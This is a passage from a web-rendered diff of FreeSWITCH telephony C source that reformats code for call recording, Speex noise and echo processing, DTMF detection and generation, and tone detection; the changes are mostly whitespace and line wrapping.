</span><span class="cx">                 flags |= SMBF_STEREO;
</span><span class="cx">                 channels = 2;
</span><span class="cx">         }
</span><del>-                
</del><ins>+
</ins><span class="cx">         if ((p = switch_channel_get_variable(channel, "RECORD_ANSWER_REQ")) && switch_true(p)) {
</span><span class="cx">                 flags |= SMBF_ANSWER_REQ;
</span><span class="cx">         }
</span><span class="lines">@@ -964,7 +965,7 @@
</span><span class="cx">         fh->pre_buffer_datalen = SWITCH_DEFAULT_FILE_BUFFER_LEN;
</span><span class="cx">
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_is_file_path(file)) {
</span><span class="cx">                 char *tfile = NULL;
</span><span class="cx">                 char *e;
</span><span class="lines">@@ -985,15 +986,11 @@
</span><span class="cx">                                 tfile = NULL;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 file = switch_core_session_sprintf(session, "%s%s%s%s%s", switch_str_nil(tfile), tfile ? "]" : "", prefix, SWITCH_PATH_SEPARATOR, file);
</span><span class="cx">         }
</span><del>-        
-        if (switch_core_file_open(fh,
-                                                         file,
-                                                         channels,
-                                                         read_impl.actual_samples_per_second,
-                                                         file_flags, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+
+        if (switch_core_file_open(fh, file, channels, read_impl.actual_samples_per_second, file_flags, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error opening %s\n", file);
</span><span class="cx">                 switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                 switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
</span><span class="lines">@@ -1046,7 +1043,7 @@
</span><span class="cx">         rh->packet_len = read_impl.decoded_bytes_per_packet;
</span><span class="cx">
</span><span class="cx">         rh->min_sec = 3;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((p = switch_channel_get_variable(channel, "RECORD_MIN_SEC"))) {
</span><span class="cx">                 int tmp = atoi(p);
</span><span class="cx">                 if (tmp >= 0) {
</span><span class="lines">@@ -1054,7 +1051,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((status = switch_core_media_bug_add(session, record_callback, rh, to, flags, &bug)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error adding media bug for file %s\n", file);
</span><span class="cx">                 switch_core_file_close(fh);
</span><span class="lines">@@ -1066,7 +1063,7 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-typedef struct {
</del><ins>+typedef struct {
</ins><span class="cx">         SpeexPreprocessState *read_st;
</span><span class="cx">         SpeexPreprocessState *write_st;
</span><span class="cx">         SpeexEchoState *read_ec;
</span><span class="lines">@@ -1085,12 +1082,12 @@
</span><span class="cx">         switch_core_session_t *session = switch_core_media_bug_get_session(bug);
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         pp_cb_t *cb = (pp_cb_t *) user_data;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         switch_frame_t *frame = NULL;
</span><span class="cx">         int y;
</span><span class="cx">
</span><del>- switch_core_session_get_read_impl(session, &read_impl);
-        
</del><ins>+        switch_core_session_get_read_impl(session, &read_impl);
+
</ins><span class="cx">         switch (type) {
</span><span class="cx">         case SWITCH_ABC_TYPE_INIT:
</span><span class="cx">                 {
</span><span class="lines">@@ -1121,17 +1118,18 @@
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_ABC_TYPE_READ_REPLACE:
</span><span class="cx">                 {
</span><del>-                        if (cb->done) return SWITCH_FALSE;
</del><ins>+                        if (cb->done)
+                                return SWITCH_FALSE;
</ins><span class="cx">                         frame = switch_core_media_bug_get_read_replace_frame(bug);
</span><span class="cx">
</span><span class="cx">                         if (cb->read_st) {
</span><span class="cx">
</span><span class="cx">                                 if (cb->read_ec) {
</span><del>-                                        speex_echo_cancellation(cb->read_ec, (int16_t *)frame->data, (int16_t *)cb->write_data, (int16_t *)cb->read_out);
</del><ins>+                                        speex_echo_cancellation(cb->read_ec, (int16_t *) frame->data, (int16_t *) cb->write_data, (int16_t *) cb->read_out);
</ins><span class="cx">                                         memcpy(frame->data, cb->read_out, frame->datalen);
</span><span class="cx">                                 }
</span><span class="cx">
</span><del>-                                y = speex_preprocess_run(cb->read_st, frame->data);                                
</del><ins>+                                y = speex_preprocess_run(cb->read_st, frame->data);
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (cb->write_ec) {
</span><span class="lines">@@ -1141,16 +1139,17 @@
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_ABC_TYPE_WRITE_REPLACE:
</span><span class="cx">                 {
</span><del>-                        if (cb->done) return SWITCH_FALSE;
</del><ins>+                        if (cb->done)
+                                return SWITCH_FALSE;
</ins><span class="cx">                         frame = switch_core_media_bug_get_write_replace_frame(bug);
</span><span class="cx">
</span><span class="cx">                         if (cb->write_st) {
</span><span class="cx">
</span><span class="cx">                                 if (cb->write_ec) {
</span><del>-                                        speex_echo_cancellation(cb->write_ec, (int16_t *)frame->data, (int16_t *)cb->read_data, (int16_t *)cb->write_out);
</del><ins>+                                        speex_echo_cancellation(cb->write_ec, (int16_t *) frame->data, (int16_t *) cb->read_data, (int16_t *) cb->write_out);
</ins><span class="cx">                                         memcpy(frame->data, cb->write_out, frame->datalen);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 y = speex_preprocess_run(cb->write_st, frame->data);
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -1173,19 +1172,19 @@
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         time_t to = 0;
</span><span class="cx">         switch_media_bug_flag_t flags = 0;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         pp_cb_t *cb;
</span><span class="cx">         int update = 0;
</span><span class="cx">         int argc;
</span><span class="cx">         char *mydata = NULL, *argv[5];
</span><span class="cx">         int i = 0;
</span><span class="cx">
</span><del>- switch_core_session_get_read_impl(session, &read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &read_impl);
</ins><span class="cx">
</span><span class="cx">         if ((cb = switch_channel_get_private(channel, "_preprocess"))) {
</span><span class="cx">                 update = 1;
</span><span class="cx">         } else {
</span><del>-                cb = switch_core_session_alloc(session, sizeof(*cb));                
</del><ins>+                cb = switch_core_session_alloc(session, sizeof(*cb));
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -1198,8 +1197,8 @@
</span><span class="cx">
</span><span class="cx">         mydata = strdup(cmds);
</span><span class="cx">         argc = switch_separate_string(mydata, ',', argv, (sizeof(argv) / sizeof(argv[0])));
</span><del>-        
-        for(i = 0; i < argc; i++) {
</del><ins>+
+        for (i = 0; i < argc; i++) {
</ins><span class="cx">                 char *var = argv[i];
</span><span class="cx">                 char *val = NULL;
</span><span class="cx">                 char rw;
</span><span class="lines">@@ -1213,12 +1212,12 @@
</span><span class="cx">                 if (var) {
</span><span class="cx">                         if ((val = strchr(var, '='))) {
</span><span class="cx">                                 *val++ = '\0';
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 rw = *var++;
</span><del>-                                while(*var == '.' || *var == '_') {
</del><ins>+                                while (*var == '.' || *var == '_') {
</ins><span class="cx">                                         var++;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (rw == 'r') {
</span><span class="cx">                                         if (!cb->read_st) {
</span><span class="cx">                                                 cb->read_st = speex_preprocess_state_init(read_impl.samples_per_packet, read_impl.samples_per_second);
</span><span class="lines">@@ -1237,8 +1236,9 @@
</span><span class="cx">                                         mutex = cb->write_mutex;
</span><span class="cx">                                 }
</span><span class="cx">
</span><del>-                                if (mutex) switch_mutex_lock(mutex);
-                                
</del><ins>+                                if (mutex)
+                                        switch_mutex_lock(mutex);
+
</ins><span class="cx">                                 if (st) {
</span><span class="cx">                                         err = 0;
</span><span class="cx">                                         tr = switch_true(val);
</span><span class="lines">@@ -1258,7 +1258,8 @@
</span><span class="cx">                                                 int db = atoi(val);
</span><span class="cx">                                                 if (db < 0) {
</span><span class="cx">                                                         r = speex_preprocess_ctl(st, SPEEX_PREPROCESS_SET_NOISE_SUPPRESS, &db);
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Setting NOISE_SUPPRESS on %c to %d [%d]\n", rw, db, r);
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Setting NOISE_SUPPRESS on %c to %d [%d]\n", rw, db,
+                                                                                         r);
</ins><span class="cx">                                                 } else {
</span><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Syntax error noise_suppress should be in -db\n");
</span><span class="cx">                                                 }
</span><span class="lines">@@ -1278,10 +1279,10 @@
</span><span class="cx">                                                                         cb->write_ec = NULL;
</span><span class="cx">                                                                 }
</span><span class="cx">                                                         }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         ec = NULL;
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (!ec) {
</span><span class="cx">                                                         if (rw == 'r') {
</span><span class="cx">                                                                 ec = cb->read_ec = speex_echo_state_init(read_impl.samples_per_packet, tail);
</span><span class="lines">@@ -1300,7 +1301,8 @@
</span><span class="cx">                                                 int db = atoi(val);
</span><span class="cx">                                                 if (db < 0) {
</span><span class="cx">                                                         speex_preprocess_ctl(st, SPEEX_PREPROCESS_SET_ECHO_SUPPRESS, &db);
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Setting ECHO_SUPPRESS on %c to %d [%d]\n", rw, db, r);
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Setting ECHO_SUPPRESS on %c to %d [%d]\n", rw, db,
+                                                                                         r);
</ins><span class="cx">                                                 } else {
</span><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Syntax error echo_suppress should be in -db\n");
</span><span class="cx">                                                 }
</span><span class="lines">@@ -1310,7 +1312,8 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        if (mutex) switch_mutex_unlock(mutex);
</del><ins>+                        if (mutex)
+                                switch_mutex_unlock(mutex);
</ins><span class="cx">
</span><span class="cx">                         if (err) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Syntax error parsing preprocessor commands\n");
</span><span class="lines">@@ -1334,7 +1337,7 @@
</span><span class="cx">                 if (cb->read_st) {
</span><span class="cx">                         speex_preprocess_state_destroy(cb->read_st);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (cb->write_st) {
</span><span class="cx">                         speex_preprocess_state_destroy(cb->write_st);
</span><span class="cx">                 }
</span><span class="lines">@@ -1342,11 +1345,11 @@
</span><span class="cx">                 if (cb->read_ec) {
</span><span class="cx">                         speex_echo_state_destroy(cb->read_ec);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (cb->write_ec) {
</span><span class="cx">                         speex_echo_state_destroy(cb->write_ec);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 return status;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -1371,7 +1374,7 @@
</span><span class="cx">         switch_frame_t *frame = NULL;
</span><span class="cx">         int level = 0, mute = 0;
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (type == SWITCH_ABC_TYPE_READ_REPLACE || type == SWITCH_ABC_TYPE_WRITE_REPLACE) {
</span><span class="cx">                 if (!(pvt->read_level || pvt->write_level || pvt->read_mute || pvt->write_mute)) {
</span><span class="cx">                         switch_channel_set_private(switch_core_session_get_channel(pvt->session), "__audio", NULL);
</span><span class="lines">@@ -1399,7 +1402,7 @@
</span><span class="cx">                 } else if (level) {
</span><span class="cx">                         switch_change_sln_volume(frame->data, frame->datalen / 2, level);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (type == SWITCH_ABC_TYPE_READ_REPLACE) {
</span><span class="cx">                         switch_core_media_bug_set_read_replace_frame(bug, frame);
</span><span class="cx">                 } else if (type == SWITCH_ABC_TYPE_WRITE_REPLACE) {
</span><span class="lines">@@ -1429,14 +1432,14 @@
</span><span class="cx">         switch_media_bug_t *bug;
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         switch_session_audio_t *pvt;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         int existing = 0, c_read = 0, c_write = 0, flags = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- switch_core_session_get_read_impl(session, &read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &read_impl);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         if ((bug = switch_channel_get_private(channel, "__audio"))) {
</span><span class="lines">@@ -1449,15 +1452,15 @@
</span><span class="cx">
</span><span class="cx">                 pvt->session = session;
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         if (!strcasecmp(direction, "write")) {
</span><span class="cx">                 flags = SMBF_WRITE_REPLACE;
</span><span class="cx">                 c_write = 1;
</span><del>-        } else if (!strcasecmp(direction, "read")){
</del><ins>+        } else if (!strcasecmp(direction, "read")) {
</ins><span class="cx">                 flags = SMBF_READ_REPLACE;
</span><span class="cx">                 c_read = 1;
</span><del>-        } else if (!strcasecmp(direction, "both")){
</del><ins>+        } else if (!strcasecmp(direction, "both")) {
</ins><span class="cx">                 flags = SMBF_READ_REPLACE | SMBF_WRITE_REPLACE;
</span><span class="cx">                 c_read = c_write = 1;
</span><span class="cx">         }
</span><span class="lines">@@ -1482,10 +1485,10 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (existing) {
</span><span class="cx">                 switch_core_media_bug_set_flag(bug, flags);
</span><del>-                
</del><ins>+
</ins><span class="cx">         } else {
</span><span class="cx">                 if ((status = switch_core_media_bug_add(session, session_audio_callback, pvt, 0, flags, &bug)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         return status;
</span><span class="lines">@@ -1529,7 +1532,8 @@
</span><span class="cx">                                         switch_channel_queue_dtmf(channel, &dtmf);
</span><span class="cx">                                         p++;
</span><span class="cx">                                 }
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, "DTMF DETECTED: [%s]\n", digit_str);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, "DTMF DETECTED: [%s]\n",
+                                                                 digit_str);
</ins><span class="cx">                         }
</span><span class="cx">                         switch_core_media_bug_set_read_replace_frame(bug, frame);
</span><span class="cx">                 }
</span><span class="lines">@@ -1561,9 +1565,9 @@
</span><span class="cx">         switch_media_bug_t *bug;
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         switch_inband_dtmf_t *pvt;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">
</span><del>- switch_core_session_get_read_impl(session, &read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &read_impl);
</ins><span class="cx">
</span><span class="cx">         if (!(pvt = switch_core_session_alloc(session, sizeof(*pvt)))) {
</span><span class="cx">                 return SWITCH_STATUS_MEMERR;
</span><span class="lines">@@ -1650,8 +1654,8 @@
</span><span class="cx"> {
</span><span class="cx">         switch_inband_dtmf_generate_t *pvt = (switch_inband_dtmf_generate_t *) user_data;
</span><span class="cx">         switch_frame_t *frame;
</span><del>-        switch_codec_implementation_t read_impl = {0};
- switch_core_session_get_read_impl(pvt->session, &read_impl);
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_core_session_get_read_impl(pvt->session, &read_impl);
</ins><span class="cx">
</span><span class="cx">         switch (type) {
</span><span class="cx">         case SWITCH_ABC_TYPE_INIT:
</span><span class="lines">@@ -1706,7 +1710,7 @@
</span><span class="cx">                                         buf[0] = dtmf->digit;
</span><span class="cx">                                         if (duration > 8000) {
</span><span class="cx">                                                 duration = 4000;
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)),
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)),
</ins><span class="cx">                                                                                  SWITCH_LOG_WARNING, "%s Truncating ridiculous DTMF duration %d ms to 1/2 second.\n",
</span><span class="cx">                                                                                  switch_channel_get_name(switch_core_session_get_channel(pvt->session)), dtmf->duration / 8);
</span><span class="cx">                                         }
</span><span class="lines">@@ -1838,7 +1842,7 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 frame = switch_core_media_bug_get_write_replace_frame(bug);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (i = 0; i < cont->index; i++) {
</span><span class="cx">
</span><span class="cx">                                 if (cont->list[i].sleep) {
</span><span class="lines">@@ -1856,31 +1860,35 @@
</span><span class="cx">                                                 cont->list[i].expires = 0;
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
-                                if (!cont->list[i].up) skip = 1;
-                                
-                                if (skip) return SWITCH_TRUE;
</del><span class="cx">
</span><ins>+                                if (!cont->list[i].up)
+                                        skip = 1;
+
+                                if (skip)
+                                        return SWITCH_TRUE;
+
</ins><span class="cx">                                 if (teletone_multi_tone_detect(&cont->list[i].mt, frame->data, frame->samples)) {
</span><span class="cx">                                         switch_event_t *event;
</span><span class="cx">                                         cont->list[i].hits++;
</span><del>-                                        
-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, "TONE %s HIT %d/%d\n",
</del><ins>+
+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, "TONE %s HIT %d/%d\n",
</ins><span class="cx">                                                                          cont->list[i].key, cont->list[i].hits, cont->list[i].total_hits);
</span><span class="cx">                                         cont->list[i].sleep = cont->list[i].default_sleep;
</span><span class="cx">                                         cont->list[i].expires = cont->list[i].default_expires;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (cont->list[i].hits >= cont->list[i].total_hits) {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, "TONE %s DETECTED\n", cont->list[i].key);
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, "TONE %s DETECTED\n",
+                                                                                 cont->list[i].key);
</ins><span class="cx">                                                 cont->list[i].up = 0;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (cont->list[i].callback) {
</span><span class="cx">                                                         if ((rval = cont->list[i].callback(cont->session, cont->list[i].app, cont->list[i].data)) == SWITCH_TRUE) {
</span><del>-                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, "Re-enabling %s\n", cont->list[i].key);
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, "Re-enabling %s\n",
+                                                                                                 cont->list[i].key);
</ins><span class="cx">                                                                 cont->list[i].up = 1;
</span><span class="cx">                                                                 cont->list[i].hits = 0;
</span><span class="cx">                                                                 cont->list[i].sleep = 0;
</span><del>-                                                                cont->list[i].expires = 0;                                                                
</del><ins>+                                                                cont->list[i].expires = 0;
</ins><span class="cx">                                                         }
</span><span class="cx">                                                 } else if (cont->list[i].app) {
</span><span class="cx">                                                         if (switch_event_create(&event, SWITCH_EVENT_COMMAND) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -1895,17 +1903,18 @@
</span><span class="cx">                                                 if (cont->list[i].once) {
</span><span class="cx">                                                         rval = SWITCH_FALSE;
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (switch_event_create(&event, SWITCH_EVENT_DETECTED_TONE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         switch_event_t *dup;
</span><span class="cx">                                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Detected-Tone", cont->list[i].key);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (switch_event_dup(&dup, event) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                                 switch_event_fire(&dup);
</span><span class="cx">                                                         }
</span><span class="cx">
</span><span class="cx">                                                         if (switch_core_session_queue_event(cont->session, &event) != SWITCH_STATUS_SUCCESS) {
</span><del>-                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_ERROR, "Event queue failed!\n");
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_ERROR,
+                                                                                                 "Event queue failed!\n");
</ins><span class="cx">                                                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "delivery-failure", "true");
</span><span class="cx">                                                                 switch_event_fire(&event);
</span><span class="cx">                                                         }
</span><span class="lines">@@ -1946,10 +1955,8 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_tone_detect_session(switch_core_session_t *session,
</span><span class="cx">                                                                                                                          const char *key, const char *tone_spec,
</span><del>-                                                                                                                         const char *flags, time_t timeout,
-                                                                                                                         int hits,
-                                                                                                                         const char *app, const char *data,
-                                                                                                                         switch_tone_detect_callback_t callback)
</del><ins>+                                                                                                                         const char *flags, time_t timeout,
+                                                                                                                         int hits, const char *app, const char *data, switch_tone_detect_callback_t callback)
</ins><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_status_t status;
</span><span class="lines">@@ -1958,10 +1965,10 @@
</span><span class="cx">         int i = 0, ok = 0;
</span><span class="cx">         switch_media_bug_flag_t bflags = 0;
</span><span class="cx">         const char *var;
</span><del>-        switch_codec_implementation_t read_impl = {0};
- switch_core_session_get_read_impl(session, &read_impl);
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_core_session_get_read_impl(session, &read_impl);
</ins><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(key)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "No Key Specified!\n");
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -2013,7 +2020,7 @@
</span><span class="cx">                 }
</span><span class="cx">         } while (next);
</span><span class="cx">         cont->list[cont->index].map.freqs[i++] = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!ok) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Invalid tone spec!\n");
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -2031,7 +2038,8 @@
</span><span class="cx">
</span><span class="cx">         cont->list[cont->index].callback = callback;
</span><span class="cx">
</span><del>-        if (!hits) hits = 1;
</del><ins>+        if (!hits)
+                hits = 1;
</ins><span class="cx">
</span><span class="cx">         cont->list[cont->index].hits = 0;
</span><span class="cx">         cont->list[cont->index].total_hits = hits;
</span><span class="lines">@@ -2070,14 +2078,14 @@
</span><span class="cx">                 if (strchr(flags, 'o')) {
</span><span class="cx">                         cont->list[cont->index].once = 1;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (strchr(flags, 'r')) {
</span><span class="cx">                         bflags |= SMBF_READ_REPLACE;
</span><span class="cx">                 } else if (strchr(flags, 'w')) {
</span><span class="cx">                         bflags |= SMBF_WRITE_REPLACE;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (cont->bug_running) {
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s bug already running\n", switch_channel_get_name(channel));
</span><span class="lines">@@ -2141,17 +2149,17 @@
</span><span class="cx">         switch_threadattr_t *thd_attr = NULL;
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         bch_t *bch;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(session);
</span><span class="cx">
</span><span class="cx">         pool = switch_core_session_get_pool(session);
</span><del>-        
</del><ins>+
</ins><span class="cx">         bch = switch_core_session_alloc(session, sizeof(*bch));
</span><span class="cx">         bch->session = session;
</span><span class="cx">         bch->app = app;
</span><span class="cx">         bch->flags = flags;
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx">         switch_threadattr_create(&thd_attr, pool);
</span><span class="cx">         switch_threadattr_detach_set(thd_attr, 1);
</span><span class="cx">         switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
</span><span class="lines">@@ -2180,7 +2188,8 @@
</span><span class="cx">
</span><span class="cx">         if (md->sr[direction].meta_on && now - md->sr[direction].last_digit > 5) {
</span><span class="cx">                 md->sr[direction].meta_on = SWITCH_FALSE;
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "%s Meta digit timeout parsing %c\n", switch_channel_get_name(channel), dtmf->digit);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "%s Meta digit timeout parsing %c\n", switch_channel_get_name(channel),
+                                                 dtmf->digit);
</ins><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -2210,7 +2219,7 @@
</span><span class="cx">
</span><span class="cx">                         if (ok && md->sr[direction].map[dval].app) {
</span><span class="cx">                                 uint32_t flags = md->sr[direction].map[dval].flags;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((md->sr[direction].map[dval].bind_flags & SBF_EXEC_OPPOSITE)) {
</span><span class="cx">                                         if (direction == SWITCH_DTMF_SEND) {
</span><span class="cx">                                                 flags |= SMF_ECHO_ALEG;
</span><span class="lines">@@ -2234,7 +2243,7 @@
</span><span class="cx">                                 if ((md->sr[direction].map[dval].bind_flags & SBF_EXEC_INLINE)) {
</span><span class="cx">                                         flags |= SMF_EXEC_INLINE;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Processing meta digit '%c' [%s]\n",
</span><span class="cx">                                                                  switch_channel_get_name(channel), dtmf->digit, md->sr[direction].map[dval].app);
</span><span class="cx">
</span><span class="lines">@@ -2266,15 +2275,15 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_unbind_dtmf_meta_session(switch_core_session_t *session, uint32_t key)
</span><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (key) {
</span><span class="cx">                 dtmf_meta_data_t *md = switch_channel_get_private(channel, SWITCH_META_VAR_KEY);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!md || key > 9) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Invalid key %u\n", key);
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 memset(&md->sr[SWITCH_DTMF_RECV].map[key], 0, sizeof(md->sr[SWITCH_DTMF_RECV].map[key]));
</span><span class="cx">                 memset(&md->sr[SWITCH_DTMF_SEND].map[key], 0, sizeof(md->sr[SWITCH_DTMF_SEND].map[key]));
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "UnBound A-Leg: %d\n", key);
</span><span class="lines">@@ -2311,7 +2320,7 @@
</span><span class="cx">                         md->sr[SWITCH_DTMF_RECV].map[key].app = switch_core_session_strdup(session, app);
</span><span class="cx">                         md->sr[SWITCH_DTMF_RECV].map[key].flags |= SMF_HOLD_BLEG;
